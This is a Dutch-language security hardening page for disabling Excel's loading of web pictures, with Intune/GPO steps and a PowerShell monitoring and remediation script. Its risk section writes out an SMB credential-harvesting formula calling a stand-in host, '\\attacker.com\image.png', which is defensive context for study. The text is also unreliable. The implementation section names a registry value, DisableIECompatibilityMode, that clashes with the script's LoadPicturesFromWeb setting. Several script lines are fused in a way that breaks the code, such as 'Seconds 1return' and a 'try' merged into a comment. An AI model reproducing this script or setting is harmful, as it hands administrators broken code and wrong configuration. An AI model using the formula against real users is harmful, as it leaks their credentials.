Excel: Schakel Uit Load Pictures Van Web Pages Not Created In Excel
📅 2025-10-30
•
⏱️ 4 minuten lezen
•
🟢 Should-Have
💼 Management Samenvatting
Schakel uit load pictures van web pages voorkomt dat Excel automatische images download van externe URLs om tracking pixels (email open tracking), credential harvesting (SMB image loads) en malicious image exploits te blokkeren.
Aanbeveling
IMPLEMENT
Risico zonder
Medium
Risk Score
5/10
Implementatie
1.5u (tech: 0.5u)
Van toepassing op:
✓ Microsoft Excel
Web images in Excel is tracking + security risk: Tracking pixels (1x1 transparent images - detecteer Wanneer file opened), SMB credential harvesting (=IMAGE("\\attacker.com\image.png") → NTLM hash sent), Malicious image exploits (PNG/JPG parser vulnerabilities). Zonder disable: File opens → images auto-download → attacker knows file opened + IP adres, SMB image paths → credentials leaked, No user warning.
Implementatie
Schakel uit web pictures: Registry: DisableIECompatibilityMode is 1, Effect: External image URLs blocked (no automatische download), User moet expliciete toestemming voor image load, Embedded images (in file) unaffected.
Vereisten
Office 2016+
Intune of GPO
Implementatie
Intune Settings Catalog: Excel\Security → Don't load pictures van Web pages not created in Excel: ingeschakeld.
monitoring
Gebruik PowerShell-script load-pictures-from-web-disabled.ps1 (functie Invoke-Monitoring) – Controleren.
External content blocking: BIO 13.02 (Ungeautoriseerde connections), ISO 27001 A.13.2.1, Privacy (tracking prevention).
Remediatie
Gebruik PowerShell-script load-pictures-from-web-disabled.ps1 (functie Invoke-Remediation) – Herstellen.
Compliance & Frameworks
BIO: 13.02.01 -
ISO 27001:2022: A.13.2.1 -
Automation
Gebruik het onderstaande PowerShell script om deze security control te monitoren en te implementeren. Het script bevat functies voor zowel monitoring (-Monitoring) als remediation (-Remediation).
PowerShell
<#
.SYNOPSIS
Schakelt het laden van afbeeldingen van webpagina's uit in Excel
.DESCRIPTION
Dit script implementeert CIS control O365-EX-000007 voor het uitschakelen van het laden
van afbeeldingen van webpagina's die niet in Excel zijn gemaakt. Dit voorkomt potentiële
beveiligingsrisico's van externe content.
.REQUIREMENTS
- PowerShell 5.1 of hoger
- Lokale administrator rechten voor registry wijzigingen
- Microsoft Excel geïnstalleerd
.PARAMETER Monitoring
Controleert de huidige compliance status
.PARAMETER Remediation
Past de aanbevolen configuratie toe
.PARAMETER Revert
Herstelt de originele configuratie
.PARAMETER WhatIf
Toont wat er zou gebeuren zonder wijzigingen door te voeren
.EXAMPLE
.\load-pictures-from-web-disabled.ps1 -Monitoring
Controleert of het laden van web afbeeldingen is uitgeschakeld
.EXAMPLE
.\load-pictures-from-web-disabled.ps1 -Remediation
Schakelt het laden van web afbeeldingen uit
.NOTES
Registry pad: HKCU:\Software\Policies\Microsoft\Office\16.0\Excel\Internet
Waarde: LoadPicturesFromWeb = 0
CIS Control: O365-EX-000007
DISA STIG: Microsoft Office 365 ProPlus v3r3
#>#Requires -Version 5.1param(
[switch]$Monitoring,
[switch]$Remediation,
[switch]$Revert,
[switch]$WhatIf
)
# Globale variabelen$RegistryPath = "HKCU:\Software\Policies\Microsoft\Office\16.0\Excel\Internet"
$ValueName = "LoadPicturesFromWeb"
$ExpectedValue = 0$ControlID = "O365-EX-000007"
functionTest-Compliance {
try {
if (-not (Test-Path$RegistryPath)) {
return$false
}
$currentValue = Get-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue
return ($currentValue -and $currentValue.$ValueName -eq $ExpectedValue)
}
catch {
return$false
}
}
function Invoke-Monitoring {
Write-Host "Monitoring ${ControlID}: Laden van web afbeeldingen uitschakelen" -ForegroundColor Green
try {
if (-not (Test-Path$RegistryPath)) {
Write-Host "✗ Registry pad bestaat niet: $RegistryPath" -ForegroundColor Red
return$false
}
$currentValue = Get-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue
if ($currentValue -and $currentValue.$ValueName -eq $ExpectedValue) {
Write-Host "✓ Control compliant: ${ValueName} = $ExpectedValue (Laden van web afbeeldingen uitgeschakeld)" -ForegroundColor Green
return$true
}
else {
$actualValue = if ($currentValue) { $currentValue.$ValueName } else { "Not Set" }
Write-Host "✗ Control non-compliant: ${ValueName} = $actualValue (Expected: $ExpectedValue)" -ForegroundColor Red
return$false
}
}
catch {
Write-Host "✗ Fout bij controleren registry instelling: $($_.Exception.Message)" -ForegroundColor Red
return$false
}
}
function Invoke-Remediation {
Write-Host "Remediating ${ControlID}: Laden van web afbeeldingen uitschakelen" -ForegroundColor Yellow
try {
if ($WhatIf) {
Write-Host "WhatIf: Zou registry waarde instellen: ${ValueName} = $ExpectedValue" -ForegroundColor Cyan
return$true
}
if (-not (Test-Path$RegistryPath)) {
Write-Host "Registry pad aanmaken: $RegistryPath" -ForegroundColor Yellow
New-Item -Path $RegistryPath -Force | Out-Null
}
Set-ItemProperty -Path $RegistryPath -Name $ValueName -Value $ExpectedValue -Type DWord -Force
Write-Host "✓ Registry waarde succesvol ingesteld: ${ValueName} = $ExpectedValue" -ForegroundColor Green
Start-Sleep -Seconds 1return Invoke-Monitoring
}
catch {
Write-Host "✗ Fout bij configureren registry instelling: $($_.Exception.Message)" -ForegroundColor Red
return$false
}
}
function Invoke-Revert {
Write-Host "Reverting ${ControlID}: Laden van web afbeeldingen instelling herstellen" -ForegroundColor Yellow
try {
if ($WhatIf) {
Write-Host "WhatIf: Zou registry waarde verwijderen: ${ValueName}" -ForegroundColor Cyan
return$true
}
if (Test-Path$RegistryPath) {
Remove-ItemProperty -Path $RegistryPath -Name $ValueName -ErrorAction SilentlyContinue
Write-Host "✓ Registry waarde verwijderd: ${ValueName}" -ForegroundColor Green
}
return$true
}
catch {
Write-Host "✗ Fout bij herstellen registry instelling: $($_.Exception.Message)" -ForegroundColor Red
return$false
}
}
# Hoofd uitvoeringtry {
if ($Monitoring) {
$result = Invoke-Monitoring
exit $(if ($result) { 0 } else { 1 })
}
elseif ($Remediation) {
$result = Invoke-Remediation
exit $(if ($result) { 0 } else { 1 })
}
elseif ($Revert) {
$result = Invoke-Revert
exit $(if ($result) { 0 } else { 1 })
}
else {
Write-Host "Gebruik: .\load-pictures-from-web-disabled.ps1 [-Monitoring] [-Remediation] [-Revert] [-WhatIf]" -ForegroundColor Yellow
Write-Host " -Monitoring: Controleer huidige compliance status" -ForegroundColor White
Write-Host " -Remediation: Pas aanbevolen configuratie toe" -ForegroundColor White
Write-Host " -Revert: Herstel originele configuratie" -ForegroundColor White
Write-Host " -WhatIf: Toon wat er zou gebeuren" -ForegroundColor White
Write-Host ""
Write-Host "Handmatige configuratie:" -ForegroundColor Cyan
Write-Host "Group Policy: User Configuration > Administrative Templates > Microsoft Excel 2016" -ForegroundColor White
Write-Host "> Excel Options > Security > Trust Center" -ForegroundColor White
Write-Host "> Load Pictures from Web pages not created in Excel: Disabled" -ForegroundColor White
}
}
catch {
Write-Host "✗ Onverwachte fout: $($_.Exception.Message)" -ForegroundColor Red
exit 1
}
Risico zonder implementatie
Risico zonder implementatie
Medium: Medium: Web images is tracking pixels, Diefstal van inloggegevens via SMB, exploits.
Management Samenvatting
Schakel uit load pictures van web. Blokkeert tracking, SMB credential harvesting. Implementatie: 1 uur.